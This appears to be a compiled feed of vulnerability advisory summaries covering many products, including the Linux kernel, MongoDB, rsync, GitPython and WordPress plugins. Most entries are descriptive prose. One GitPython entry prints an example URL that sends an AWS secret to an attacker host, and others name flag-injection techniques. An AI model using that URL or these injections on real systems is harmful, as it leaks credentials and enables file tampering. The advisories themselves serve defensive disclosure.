Secret exfiltration across Kubernetes namespace boundaries in the multicloud-operators-subscription component of Red Hat Advanced Cluster Management for Kubernetes 2 allows an authenticated namespace administrator to read Kubernetes Secrets from arbitrary namespaces outside their own authorization domain. By setting Channel.Spec.SecretRef.Namespace to a target namespace, the attacker causes the subscription controller to autonomously copy sensitive Secret contents into a namespace the attacker controls, violating the Kubernetes namespace isolation model. No public exploit code has been identified at time of analysis, but the scope-changed CVSS vector (S:C, C:H) and the sensitivity of Kubernetes Secret payloads - which frequently contain credentials, API tokens, and TLS private keys - make this a high-priority finding in any multi-tenant RHACM deployment.
Out-of-bounds read in the Linux kernel drm/amdkfd CRIU checkpoint path leaks kernel memory to userspace on systems with AMD v9 GPU hardware. The MQD control stack copy uses cp_hqd_cntl_stack_size directly from hardware registers without bounding it to the allocated Buffer Object, allowing memcpy to read past the BO into adjacent GTT memory. A local low-privileged user with access to AMD GPU compute queue checkpointing can recover sensitive kernel data; no public exploit has been identified at time of analysis, though the 15% EPSS score is above baseline for kernel information-disclosure flaws.
Missing input validation in the Linux kernel's drm/vmwgfx driver allows a low-privileged local user on a VMware guest VM to supply an arbitrary array_size value in vmw_surface_metadata via ioctl, bypassing per-Shader-Model limits and triggering out-of-bounds kernel memory access with high confidentiality, integrity, and availability impact. Affected kernel versions span 5.7 through multiple stable branches, with patches now available for 6.6.148, 6.12.101, 6.18.42, 7.1.6, and 7.2-rc5. No public exploit code or CISA KEV listing has been identified at time of analysis, though EPSS at 16% signals a meaningfully elevated probability of eventual exploitation.
Use-after-free in the Linux kernel's btrfs filesystem driver allows a low-privileged local user to cause kernel memory corruption with full system compromise potential. Introduced by a regression in commit f86f7a75e2fb, the btrfs extent map splitting code in btrfs_drop_extent_map_range() incorrectly propagates EXTENT_FLAG_LOGGING to child split maps, which are never cleared of this flag; when the extent map shrinker later frees such a map while it remains on the inode's modified_extents list, a use-after-free is triggered. No public exploit has been identified at time of analysis, but an EPSS of 16% signals elevated exploitation probability for a local kernel UAF affecting Linux 6.8 and later across multiple stable branches.
Uninitialized memory read in the Linux kernel's libceph client library exposes stale kernel buffer contents and risks system instability on Ceph-connected hosts. The flaw exists in handle_get_version_reply(), which incorrectly uses msg->front_alloc_len - the allocated buffer size - as the decode boundary instead of msg->front.iov_len, the count of bytes actually received. A truncated MON_GET_VERSION_REPLY from a malicious or compromised Ceph monitor therefore passes the ceph_decode_need() guard and reads a second u64 from leftover bytes of a prior message, constituting an out-of-bounds read of uninitialized kernel memory. No public exploit has been identified at time of analysis, but the 16% EPSS score is elevated for a kernel library flaw and warrants prompt patching on Ceph-client deployments.
Privilege escalation in the Linux kernel's vxlan subsystem allows a local user holding CAP_NET_ADMIN in a vxlan device's network namespace to rewrite underlay configuration in a separate, more privileged namespace where they lack that capability. The flaw in vxlan_changelink() affects multiple stable kernel branches (6.6.x, 6.12.x, 6.18.x, 7.1.x, and 7.2-rc) and is most impactful in multi-tenant container or cloud environments where vxlan devices span namespace boundaries - a common topology in Kubernetes and OpenStack deployments. With an EPSS score of 17% and no public exploit or CISA KEV listing confirmed at time of analysis, this is an elevated-risk local privilege escalation requiring prompt patching on affected containerized infrastructure.
Unauthenticated exposure of live task execution data in Kestra prior to 2.0.0-rc6 allows any network-accessible party to retrieve plaintext credentials, environment variables, HTTP headers, and connection strings via an unprotected GET /worker endpoint on the worker process. While the main Kestra API on port 8080 enforces authentication, the worker's WorkerEndpoint.java endpoint was not subject to the same controls, serializing the full live Task object to unauthenticated callers. The vendor-released fix is confirmed in version 2.0.0-rc6; no public exploit code has been identified at time of analysis.
Incorrect JSON Pointer escape-sequence decoding in cJSON versions 1.5.0 through 1.7.19 allows unauthenticated network attackers to redirect RFC 6902 JSON Patch operations to unintended object keys by supplying crafted ~0 or ~1 sequences in patch paths. Any application that exposes cJSONUtils_ApplyPatches() or cJSONUtils_ApplyPatchesCaseSensitive() to external input is vulnerable to silent data corruption, unintended key deletion, and potential authorization bypass when JSON Patch is used to gate access-controlled modifications. No public exploit code or CISA KEV listing has been identified at time of analysis, but the network-accessible, zero-authentication attack surface and high integrity impact (CVSS 4.0: 8.7) make this a meaningful risk for any service built on cJSON's utility layer.
Cleartext credential logging in the MongoDB Java Driver exposes outbound network connectivity credentials to any party with log read access during routine client initialization. Affected applications automatically write the credential to log output as part of normal operation - no special trigger, elevated privileges, or attacker interaction with the driver is required to produce the disclosure. While no public exploit or active exploitation has been confirmed, the CVSS 4.0 score of 8.2 reflects that recovered credentials can authenticate an attacker to separate network infrastructure beyond the affected application, producing a scope-changed confidentiality impact.
Authentication bypass in the Mira fertility-tracking cloud API allows any remote attacker to take over user accounts by supplying only a victim's email address and an arbitrary password, since the login endpoint validates the email but accepts any format-valid string as the password and returns a live active session token. Affecting Mira Firmware 1.7.1.47 and Mira Android App 4.5.15.4 (Quanovate Tech Inc, operating as Mira / Mira Care), this reported by CISA (ICSMA-26-223-01) carries a CVSS 4.0 base score of 9.3 and exposes sensitive reproductive-health (hormone) records and account settings. There is no public exploit identified at time of analysis and it is not listed in CISA KEV.
Server-impersonation via broken TLS hostname verification affects Apache HttpComponents Client 5.4 through 5.6.3 when applications use the asynchronous HttpClient, where the HostnameVerificationPolicy#BUILTIN setting is silently ignored. An adversary positioned to intercept and modify network traffic can present a valid certificate issued for an unrelated domain and the async client will accept it, defeating the core TLS server-identity check and exposing transmitted data. There is no public exploit identified at time of analysis and EPSS is very low (0.09%), but the CVSS base score is 9.1 and the classic (synchronous) HttpClient is explicitly unaffected.
Sensitive credential leakage in Red Hat insights-client exposes cloud.openshift.com pull-secret tokens through application log files on Advanced Cluster Management hub clusters. When insights-client receives any non-200 HTTP response from the Red Hat cloud endpoint, it writes the full request headers - including the long-lived pull-secret bearer token - to pod logs readable by local cluster users. An attacker who harvests this token can authenticate against Red Hat cloud services without possessing their own credentials. No public exploit has been identified at time of analysis, and multiple vendor-released errata patch the behavior.
Authentication bypass in Red Hat's search-v2-api exposes federated search results to unauthenticated remote attackers. The authentication middleware unconditionally skips validation when an HTTP request carries the `Upgrade: websocket` header, allowing any network-reachable attacker to POST to the `/federated` endpoint without credentials. Exploitation yields information disclosure across all configured remote managed hubs - no active exploitation confirmed (not in CISA KEV) and no public POC identified at time of analysis, but the CVSS 7.5 score and PR:N vector reflect low-barrier, network-accessible exploitation.
Unauthenticated remote code execution in SonicWall Global Management System (GMS) 9.5.1 (Build 9510.1044) and earlier lets remote attackers read sensitive data and write arbitrary files through a Zip-Slip path-traversal flaw during archive extraction, which can be leveraged to plant executable content and achieve code execution. The issue was disclosed by SonicWall PSIRT (SNWLID-2026-0011) and carries a CVSS 9.1 (Critical) rating. There is no public exploit identified at time of analysis, and CISA SSVC records exploitation status as 'none'.
Unauthorized BLE command injection against the Pulsetto Vagus Nerve Stimulator firmware allows any physically proximate attacker to invoke hidden device commands without authentication or encryption, with potential to alter stimulation parameters or disrupt device operation. The firmware processes a set of undisclosed commands - never exposed through the official companion mobile application - whenever the device is powered on and advertising over BLE, presenting a zero-authentication attack surface at the radio layer. No public exploit code has been identified at time of analysis, but the adjacent-only, no-authentication requirement makes opportunistic abuse practical in any clinical or public setting where patients wear the device.
Arbitrary file deletion in the Formidable Digital Signatures plugin for WordPress (all versions through 3.0.6) lets unauthenticated attackers delete server files by passing an attacker-controlled path in item_meta[field_id][content] together with the delete_saved_image flag during normal anonymous form submission. Because deleting wp-config.php can force WordPress back into its setup routine, this file-deletion primitive escalates to full site takeover, which is why it carries a CVSS 9.8. No public exploit identified at time of analysis; not listed in CISA KEV.
Credential exposure in MongoDB Server's replica-set/sharded-cluster internal authentication allows an adjacent-network attacker to force an authentication-mechanism downgrade during intra-cluster member-to-member connection setup, causing the shared internal keyfile/cluster credential to be sent in a weaker form that can be recovered. Any party with recovered credentials can authenticate as the internal superuser (__system) and gain full control of every node in the deployment. Reported by MongoDB (SERVER-130264); no public exploit identified at time of analysis and it is not listed in CISA KEV.
Unintended internal method dispatch in electerm prior to v3.15.186 allows any authenticated WebSocket client to invoke arbitrary Upgrade and filesystem export methods - including OS command execution, file mutation, and process termination - by supplying attacker-controlled function names to the `upgrade-func` and `handleFs` WebSocket handlers. The root cause is the absence of allowlist validation in `src/app/server/dispatch-center.js` and `src/app/server/fs.js`, where client-supplied `func` strings were passed directly to dynamic method calls, including paths exploitable via JavaScript prototype chain traversal. No public exploit or CISA KEV listing exists at time of analysis; CVSS 8.8 reflects the high impact and low complexity once a valid authenticated session is held.
Out-of-bounds read in MongoDB Server's geospatial query processing permits an authenticated user with write privileges to store malformed geometry documents that bypass validation at ingestion time, with the memory access violation occurring later during query execution. Affected deployments span all tracked versions per NVD CPE data (cpe:2.3:a:mongodb:mongodb_server:*:*:*:*:*:*:*:*), and the dual impact - server crash and limited process memory disclosure - makes this a moderate-to-high priority for any MongoDB deployment where untrusted authenticated users have write access. No public exploit code and no CISA KEV listing have been identified at time of analysis.
Atlas Vector Search in MongoDB Server exposes a horizontal authorization bypass allowing an authenticated low-privileged user to read documents from a view they are not authorized to access, crossing view-level access control boundaries within the same underlying collection. The flaw arises from MongoDB Server insufficiently validating user-supplied fields before forwarding internal requests to the search process, enabling the search backend to return documents outside the scope of the caller's authorized view. No public exploit code or CISA KEV listing has been identified at time of analysis.
Out-of-bounds memory read in MongoDB Server's aggregation framework allows an authenticated attacker to crash the database server or expose limited memory contents by submitting a specially crafted numeric parameter within a specific aggregation pipeline stage. The CVSS 4.0 score of 7.1 reflects dual impact: high availability loss from server crash (VA:H) and low-level confidentiality exposure from adjacent memory leakage (VC:L). Self-reported by MongoDB (responsible disclosure), with no public exploit code or CISA KEV listing identified at time of analysis.
TLS certificate validation bypass in rsync enables on-path attackers to intercept and tamper with encrypted file transfer sessions. Affected are rsync 3.2.0-3.2.3 in openssl mode and rsync-ssl through 3.4.4 in stunnel mode; both fail to validate server certificates against a trusted CA and perform no hostname verification, allowing a self-signed or otherwise invalid certificate to be accepted silently. No public exploit has been identified at time of analysis, and a vendor-released patch (v3.5.0, designated a major security release) is available.
Symlink race condition in rsync before 3.5.0 allows directory traversal beyond the configured module root during sender-side scanning. Attackers with write access to a path component of the scanned tree can exploit a TOCTOU window between lstat() and opendir() system calls to redirect traversal outside the module boundary, causing rsync to enumerate and transfer files from unintended filesystem locations. This affects both daemon-mode and non-daemon sender-side scanning configurations; no public exploit has been identified at time of analysis, and the vulnerability is not listed in CISA KEV.
Arbitrary file deletion in rsync before 3.5.0 allows a malicious sender to expand the scope of --delete operations beyond the intended destination subtree by sending a crafted file list. All rsync versions prior to 3.5.0 are affected through multiple attack variants including implied parent directory reclassification, synthetic root path construction, legacy protocol behavior (protocol version below 30), and non-directory root handling. No public exploit has been identified at time of analysis, though the CVSS 4.0 score of 7.1 with network vector and low complexity reflects meaningful real-world risk for any deployment that syncs from potentially untrusted or compromised senders with --delete enabled.
Directory escape in rsync's rrsync restricted shell wrapper before version 3.5.0 allows authenticated users to read and write files outside their enforced directory boundaries via two distinct paths. The first is a TOCTOU race condition that substitutes a symlink after path validation but before file transfer; the second is direct abuse of unrestricted rsync flags - --copy-unsafe-links, -D, and --log-file - that rrsync fails to sanitize, requiring no race timing at all. Scored 8.6 (High) under CVSS 4.0 with full confidentiality and integrity compromise of the vulnerable system, this is a genuine priority for any deployment using rrsync for SSH-based restricted file sharing; no public exploit has been identified at time of analysis.
Arbitrary file read in rsync before 3.5.0 enables attackers with local low-privilege access to read files accessible to the rsync daemon process by exploiting improper symlink resolution in input configuration file handling. The vulnerability affects --files-from, --password-file, and filter merge file paths, allowing placement of a symlink at a predictable argument path or supply of a --files-from path that escapes the daemon module root. No public exploit code or active exploitation (CISA KEV) has been identified at time of analysis; the vendor has released a confirmed fix in rsync 3.5.0.
BLE encryption key downgrade in Silicon Labs WiseConnect allows adjacent, unauthenticated attackers to brute-force session keys. When a peripheral initiates SMP (Security Manager Protocol) pairing, WiseConnect's security request omits the device's maximum supported encryption key size. The central device therefore negotiates a smaller-than-maximum key, materially reducing the brute-force search space for any captured pairing exchange. This flaw is formally documented as V6 in the NDSS-published BLERP (BLE Re-Pairing Attacks and Defenses) research paper; no public exploit confirmation (KEV) exists at time of analysis, but the academic disclosure provides significant technical detail to aid attack development.
Security level downgrade during Bluetooth Low Energy re-pairing in Silicon Labs WiseConnect exposes the Long Term Key (LTK) to practical brute-force attack by an adjacent unauthenticated attacker. Devices running WiseConnect 4.0.0 through 4.0.x and WiseConnect 2.0.0 through 2.13.x accept re-pairing negotiations at weaker security parameters than originally established, reducing LTK entropy and enabling offline key recovery. No public exploit code has been identified at time of analysis, though the vulnerability class is formally documented as V4 in the BLERP academic paper (NDSS); a vendor patch is available in WiseConnect 4.1.0 and 2.14.0.
Cross-tenant IDOR in Roskus Prospero Flow CRM before 5.4.7 allows any authenticated user to read sensitive product records belonging to other tenant companies and reassign those products into their own account. Two compounding root causes drive the impact: ProductUpdateController lacked the MainController inheritance that enforces session-based authorization, leaving the product read endpoint unguarded, while ProductRepository::save() performed a bare Product::find($data['id']) lookup with no company_id scope constraint, enabling cross-tenant record hijacking. No public exploit or CISA KEV listing exists at time of analysis, but the exploit conditions are trivially met by any authenticated session holder.
KVM on s390 (IBM Z mainframe) exposes a hypervisor boundary-crossing flaw in its PCI Adapter Interrupt Forwarding (AIF) subsystem, where a guest VM registering IRQs without an Adapter Interrupt Summary Bit (AISB) causes the kernel to write `virt_to_phys(page_address(NULL))` - a non-zero, incorrect physical address - into the Guest Adapter Interrupt Table Entry (GAITE) rather than the correct zero sentinel. The CVSS scope change (S:C) indicates this poisoned GAITE entry can be used to cross the guest/host trust boundary, enabling potential host memory disclosure, corruption, or destabilization from a low-privileged guest context. No public exploit code and no CISA KEV listing exist at time of analysis; patches have been issued across multiple Linux stable kernel branches.
Kernel memory corruption in the Linux kernel's s390/zcrypt CCA AES cipher key handling path allows a local low-privileged user on IBM Z mainframe systems to trigger an out-of-bounds buffer operation with full confidentiality, integrity, and availability impact. The function `cca_cipher2protkey()` uses the length field from a user-supplied key token header to determine the copy size for the CPRB parameter block without validating it against the actual available buffer space, enabling adjacent kernel memory corruption. No public exploit exists and this is not in CISA KEV; vendor-released patches are available across multiple stable kernel branches including 6.6.151, 6.12.103, 6.18.44, and 7.1.8.
Missing length validation in the Linux kernel's s390/zcrypt CCA ECC private key handler allows a local low-privileged user on IBM Z (s390) systems to trigger a buffer overread or overflow in the CPRB parameter block. The `cca_ecc2protkey()` function blindly trusts the length field embedded in a caller-supplied key token when computing how many bytes to copy into a fixed-size parameter block, enabling a crafted oversized token to corrupt adjacent kernel memory. No public exploit has been identified at time of analysis, and this vulnerability is architecture-specific to IBM Z mainframe Linux deployments.
Unauthenticated sensitive data exposure in KiviCare WordPress plugin versions 4.5.1 and below allows remote, unauthenticated attackers to access protected clinic and patient data through an authentication bypass (CWE-288). The CVSS 3.1 vector confirms network-level, zero-complexity, credential-free exploitation with high confidentiality impact and no integrity or availability dimension. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the attack profile is inherently accessible to any opportunistic actor who can reach the WordPress installation.
Broken access control in the Nokri WordPress job board theme (versions 1.6.6 and earlier by ScriptsBundle) lets remote unauthenticated attackers bypass authorization controls to access or manipulate resources that should be restricted, with the CWE-640 mapping indicating a weakness in the account/password recovery mechanism. Rated CVSS 9.8 with a full network/no-privilege/no-interaction vector implying full confidentiality, integrity, and availability impact, this issue is reported by Patchstack and tagged as information disclosure. No public exploit identified at time of analysis and the flaw is not listed in CISA KEV.
Unauthenticated Local File Inclusion (LFI) in the Biagiotti Core WordPress plugin versions up to and including 2.1.1 allows network-accessible attackers to include arbitrary local files on the server without any credentials. The CVSS 8.1 score with full C/I/A impact ratings reflects the potential to chain LFI into remote code execution via techniques such as log poisoning or session file inclusion, not merely passive file disclosure. No public exploit code or CISA KEV listing has been identified at time of analysis, and the AC:H metric signals that exploitation requires specific server-side preconditions to achieve full impact.
Local File Inclusion in the Foton Core WordPress plugin (versions ≤ 1.1.1, developed by Mikado Themes) enables unauthenticated remote attackers to supply attacker-controlled file paths to PHP include/require functions, potentially exposing sensitive server files such as wp-config.php or enabling remote code execution via log-poisoning techniques. The CVSS vector confirms unauthenticated network-level access (AV:N/PR:N) with high confidentiality, integrity, and availability impact, though the AC:H rating signals that specific conditions must align for successful exploitation. No public exploit code or active exploitation has been confirmed at time of analysis; the Patchstack advisory is the sole disclosure source.
Local File Inclusion in the Barista WordPress theme (edge-themes) version 2.5.1 and earlier allows unauthenticated remote attackers to include arbitrary local files via crafted HTTP requests, with potential full confidentiality, integrity, and availability compromise. The CVSS 8.1 score reflects high impact across all three pillars, though the AC:H rating indicates exploitation requires elevated complexity - such as specific server conditions or chained techniques like log poisoning to escalate beyond file disclosure to code execution. No active exploitation is confirmed (not in CISA KEV), and no public exploit code has been identified at time of analysis.
Account takeover via broken authentication in the Cartify Multipurpose WooCommerce WordPress theme (versions <= 1.3.0.1) lets an unauthenticated remote attacker authenticate as an arbitrary user, including administrators, without valid credentials. Reported by Patchstack and rated CVSS 9.8, the flaw stems from an authentication logic error (CWE-288) that permits identity assertion through an alternate path. No public exploit identified at time of analysis, and it is not listed in CISA KEV.
Unauthenticated sensitive data exposure in the iCARRY WordPress plugin (versions <= 2.9) allows any remote, unauthenticated attacker to retrieve sensitive information by interacting with the plugin's endpoints over a standard HTTP connection. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) confirms exploitation requires no credentials, no user interaction, and no special preconditions, making every unpatched site trivially accessible. No public exploit code or active exploitation has been identified at time of analysis, though the low attack complexity means discovery and abuse would be straightforward for any motivated attacker.
Sensitive data exposure in WooCommerce Appointments plugin (≤ 5.3.8) allows unauthenticated remote attackers to access confidential booking or customer information without any credentials or user interaction. Reported by Patchstack, this High-severity flaw (CVSS 7.5) requires no authentication, no special configuration, and no user interaction, making it trivially automatable by scanning tools. No public exploit code or CISA KEV listing has been identified at time of analysis, though the zero-prerequisite attack surface warrants prompt remediation.
Authentication bypass in the Salon Booking System WordPress plugin (versions 10.30.26 and earlier) allows remote unauthenticated attackers to defeat the plugin's identity/verification logic (CWE-288) and gain access to protected functionality or data without valid credentials. The CVSS 3.1 base score of 9.8 (AV:N/AC:L/PR:N/UI:N) reflects network-reachable, low-complexity exploitation with high confidentiality, integrity, and availability impact; Patchstack tags it as Information Disclosure. There is no public exploit identified at time of analysis and it is not listed in CISA KEV.
Unauthenticated Local File Inclusion in the Geo Mashup WordPress plugin (all versions through 1.13.18) enables a remote, unauthenticated attacker to include arbitrary local files from the server's filesystem, potentially exposing sensitive configuration data or achieving remote code execution through chained techniques such as log poisoning. Reported by Patchstack, the flaw is classified under CWE-98, targeting PHP's include/require mechanism within the plugin. No public exploit or CISA KEV listing has been confirmed at time of analysis, but the CVSS 8.1 score reflects a high-severity, zero-privilege-required attack path.
Unauthenticated sensitive data exposure in the REST API Log WordPress plugin (versions <= 1.7.1) allows any remote actor to query the plugin's log storage and retrieve recorded REST API request and response data without credentials. Reported by Patchstack and scored CVSS 7.5 (High) with AV:N/AC:L/PR:N/UI:N, the exposure is trivially reachable across the network with no authentication or user interaction. No public exploit code has been identified at time of analysis, and the vulnerability is not listed in CISA KEV.
Sensitive data exposure in WPJAM Basic (WordPress plugin, versions ≤ 7.0.2.1) allows unauthenticated remote attackers to retrieve subscriber private information without credentials or user interaction. Classified under CWE-1258, the root cause is a failure to restrict access to private user data at the plugin level, exposing information that should be gated by authentication. No public exploit code has been identified at time of analysis, though the absence of any authentication or complexity barrier makes this straightforward to abuse once the vulnerable endpoint is known.
Authentication bypass in the rtCamp "Log in with Google" WordPress plugin (versions <= 1.4.2) lets unauthenticated remote attackers assume the identity of legitimate users because the plugin insufficiently verifies the authenticity of the Google OAuth login response. Rated CVSS 9.8, the flaw permits full account takeover without credentials or user interaction; there is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the Patchstack advisory confirms the vulnerability class.
PostgreSQL's ctid data type selectivity estimator mishandles non-ctid input through a type confusion flaw (CWE-843), enabling any low-privileged database user with object-creation rights to read approximately 4 bytes of arbitrary server memory per query. All supported major versions prior to 18.5, 17.11, 16.15, 15.19, and 14.24 are affected. No public exploit code or CISA KEV listing has been identified at time of analysis, but the vendor explicitly acknowledges that substantial memory value recovery is possible.
Arbitrary file overwrite in GitPython through version 3.1.53 allows authenticated low-privileged attackers to write git diff output to any attacker-chosen file path accessible at the hosting process's OS privilege level, by injecting the `--output` flag through the unguarded `Diffable.diff()` method. Applications built on GitPython that pass user-controlled values to `Commit.diff()`, `Tree.diff()`, `IndexFile.diff()`, or `Submodule.diff()` expose the full attack surface, which spans two distinct injection paths confirmed in the vendor advisory. Publicly available exploit code exists, verified live against tag 3.1.53; no active exploitation has been confirmed in CISA KEV at time of analysis.
Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. The official GHSA advisory published by gitpython-developers includes detailed step-by-step reproduction instructions; the vulnerability is not in CISA KEV at time of analysis.
Arbitrary file read in GitPython before 3.1.57 allows any caller who can supply options to Repo.archive() to exfiltrate files from anywhere on the server filesystem by passing --add-file or --add-virtual-file to git archive. The unsafe_git_archive_options denylist blocks --output, -o, and --exec but omits these two sibling options, which were verified functional against git 2.50.1. A working proof-of-concept confirmed byte-for-byte exfiltration of out-of-tree files against GitPython 3.1.55. No public KEV listing exists, but the POC is published in the GHSA advisory.
File Browser versions 2.50.0 through 2.63.21 permit indefinite session persistence via expired JWT tokens when proxy authentication is configured with a non-default logout page, enabling an attacker who possesses any previously valid token to access protected routes and administrative endpoints beyond the token's expiration window. The authentication middleware intentionally waived JWT expiration under proxy-auth - since the proxy is expected to govern session lifetime - but failed to require the proxy to simultaneously assert the user's identity on each request, meaning a leaked or captured token could authenticate independently and indefinitely. No public exploit code has been identified at time of analysis; the fix commit and vendor security advisory are publicly available.
Incomplete credential redaction in Flowise before 3.1.3 exposes fully decrypted secrets via the authenticated GET /api/v1/credentials/:id endpoint, allowing any user with credentials:view permission to retrieve database connection URLs containing embedded passwords, Google Cloud service account JSON files with RSA private keys, and AWS access keys in plaintext. The root cause is a server-side redaction function that only masks schema fields declared with type 'password', leaving string-typed fields - routinely used for sensitive credential values - untouched in the plainDataObj API response. No public exploit code or CISA KEV listing has been identified at time of analysis, but the low-complexity, low-privilege, network-accessible nature of this flaw makes it an immediate priority for any organization running shared or multi-user Flowise workspaces.
Unauthenticated information disclosure in the Portal Generator add-on to Priority ERP (developed by Soft Solutions) allows remote attackers to retrieve restricted data by bypassing security controls that are enforced only in the client rather than on the server. Any actor who can reach the portal over the network can craft direct server requests that skip the intended access checks, exposing sensitive data without credentials or user interaction. No public exploit identified at time of analysis, and the issue is not listed in CISA KEV.
Unauthenticated sensitive information disclosure in the Portal Generator Addon to Priority ERP (developed by Soft Solutions) allows remote attackers to retrieve private personal and business data without credentials or user interaction. Rated CVSS 9.1 (AV:N/AC:L/PR:N/UI:N) and reported by Israel's National Cyber Directorate (INCD), the flaw combines CWE-200 and CWE-359 exposure classes. No public exploit identified at time of analysis, and the product has a primarily Israeli deployment footprint.
Unauthenticated remote information disclosure in the Portal Generator Addon for Priority ERP (developed by Soft Solutions) exposes sensitive ERP data to unauthorized network actors. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H) confirms that exploitation requires no credentials, no user interaction, and no special network position, yet achieves high confidentiality impact with a scope change that extends beyond the portal component into the underlying Priority ERP system. Reported by the Israel National Cyber Directorate (INCD), no public exploit code or CISA KEV listing has been identified at time of analysis.
Full site compromise in the Link Factory WordPress plugin stems from the plugin itself being a deliberate backdoor rather than a coding flaw. Marketed as a 'homepage sentence publisher', it silently exposes an operator-controlled REST API under /wp-json/link-factory/v1/ that grants the plugin's author covert command-and-control over any site that installs it. Publicly available exploit code exists (reported by WPScan); the endpoints require no WordPress authentication and are gated only by a detached Ed25519 signature tied to the operator's hardcoded public key, so the operator retains privileged access indefinitely.
Authentication bypass in LemonLDAP::NG (CWE-305) allows remote unauthenticated attackers to defeat a primary authentication control and access protected resources, tagged by the reporter as leading to information disclosure. All maintained branches are affected, with fixes shipped in 2.23.3, 2.21.5, and 2.16.9; the issue was disclosed via oss-security and packaged by Ubuntu. There is no public exploit identified at time of analysis, and EPSS is low at 0.27% (18th percentile) despite the 9.8 CVSS.
CVE-2026-62292 has been reported by Ubuntu as a security update, but no technical description, CVSS score, CWE, affected product versions, or references are available at time of analysis. No meaningful synthesis is possible without fabricating data.
Remote unauthenticated denial of service and sensitive information disclosure in IBM i 7.3 through 7.6 stems from an integer underflow (CWE-125 out-of-bounds read) reachable over the network without authentication. An attacker sending a crafted request can crash an affected service and read portions of process memory, yielding both high availability impact and limited confidentiality exposure. No public exploit code has been identified at time of analysis and this CVE is not listed in the CISA KEV catalog, though the low-complexity, unauthenticated attack vector makes it a meaningful risk for internet-exposed IBM i systems.
Unauthenticated remote crash of rsyslogd is possible through a flaw in the optional imptcp input module, where a crafted input sequence during oversize-frame recovery produces an invalid internal message length and terminates the logging daemon. Systems running Red Hat Enterprise Linux 6 through 10 are affected only when imptcp is explicitly loaded with a non-default frame delimiting mode; the default imptcp framing and the separate imtcp module are explicitly confirmed unaffected. No public exploit code and no CISA KEV listing have been identified at time of analysis; CVSS scores this at 7.5 High solely on the basis of network-accessible, unauthenticated availability impact.
Code-integrity failure in IBM i Access Client Solutions (ACS) versions 1.1.2.0 through 1.1.9.13 lets a positioned attacker deliver unverified, compromised product code to a user's workstation when ACS is configured to auto-update from an IBM i host. Because ACS does not validate the integrity/authenticity of downloaded update code (CWE-494), an attacker who can serve or tamper with that update stream can achieve arbitrary code execution on the client machine. Carries a vendor CVSS of 9.6 (adjacent, scope-changed, full CIA impact), but there is no public exploit identified at time of analysis and EPSS is very low at 0.11%.
Request smuggling in Apple ServiceTalk's HTTP/1.x implementation exposes services to request pipeline injection by exploiting improper parsing of malformed Transfer-Encoding headers. All ServiceTalk deployments running versions prior to 0.42.65 are vulnerable, with the CVSS vector confirming unauthenticated network exploitation with high integrity impact. No public exploit code and no CISA KEV listing have been identified at time of analysis, though the EPSS score of 0.14% reflects low but non-zero current exploitation probability.
Privilege escalation to host root in Canonical LXD occurs when the container manager unpacks crafted image or backup archives, because it follows a symbolic link where the backup.yaml metadata file should be and then processes attacker-controlled configuration outside its intended confinement. A low-privileged LXD user who can import a malicious archive can execute arbitrary commands as root on the underlying host, breaking the container/host trust boundary (scope change). Rated CVSS 9.9; no public exploit identified at time of analysis and not listed in CISA KEV, but the fix is coordinated through GitHub advisory GHSA-fv82-v4fj-mm4m.
Arbitrary host file read and write in Canonical LXD occurs because the image import/unpack routine does not verify whether the bundled metadata.yaml entry is a symbolic link, letting an authenticated user with image-import rights supply a crafted archive whose symlinked metadata.yaml resolves to sensitive host paths. Rated CVSS 9.9 with a scope change (S:C), successful exploitation crosses the container/management boundary to read or overwrite files as the LXD daemon (typically root) on the host. There is no public exploit identified at time of analysis and the issue is not listed in CISA KEV; details are published only in Canonical advisory GHSA-j825-cg34-5fr5.
Privilege escalation in IBM Security Verify Access and IBM Verify Identity Access allows an authenticated low-privilege user to assume the identity and privileges of another user by submitting a specially crafted network request. The vulnerability spans both on-premises and container deployments across multiple product generations (10.x and 11.x lines), broadening the exposed surface considerably. No public exploit code or CISA KEV listing has been identified at time of analysis, but the CVSS score of 8.1 and low attack complexity make this a high-priority patching target for organizations running IBM identity infrastructure.
Privilege escalation via command injection in IBM Security Verify Access and IBM Verify Identity Access allows an authenticated administrator to execute system commands beyond their authorized scope. Affected products span IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 (including the container variant), with network-accessible administrative interfaces as the attack surface. Full confidentiality, integrity, and availability compromise of the underlying system is possible; no public exploit identified at time of analysis and this vulnerability is not listed in the CISA KEV catalog.
Format string injection in IBM Security Verify Access (10.0-10.0.9.2) and IBM Verify Identity Access (11.0-11.0.3, including container deployments) enables authenticated administrative attackers to send crafted HTTP requests to the management interface, triggering uncontrolled format string processing. Successful exploitation produces high confidentiality impact through stack memory disclosure and high availability impact through service crashes, with CVSS scope change indicating potential downstream effect on identity services beyond the management component. No public exploit is identified at time of analysis; this is a vendor-confirmed finding reported directly by IBM PSIRT.
Cryptographic validation weakness in the IBM Security Verify Access / Verify Identity Access Reverse Proxy (WebSEAL) allows remote attackers to bypass expected integrity checks on user-supplied data in certain configurations, affecting Security Verify Access 10.0 through 10.0.9.2 and Verify Identity Access (and its Container edition) 11.0 through 11.0.3. NVD rates this CVSS 9.8, but the vague 'certain configurations' wording and a low EPSS of 0.24% (15th percentile) with SSVC exploitation status 'none' point to a config-dependent issue rather than mass exploitation. There is no public exploit identified at time of analysis and it is not on CISA KEV.
Information disclosure in SiYuan, a self-hosted block-based personal knowledge management app, lets anonymous, unauthenticated network callers read the contents of password-protected documents. Versions before v3.7.4 skip the publish-password tier check in the getGraph and getLocalGraph endpoints, so an attacker who reaches the instance can retrieve block-level text and the full reference/link topology of protected notes without ever supplying the publish password. Reported by VulnCheck and fixed in v3.7.4; there is no public exploit identified at time of analysis and it is not listed in CISA KEV.
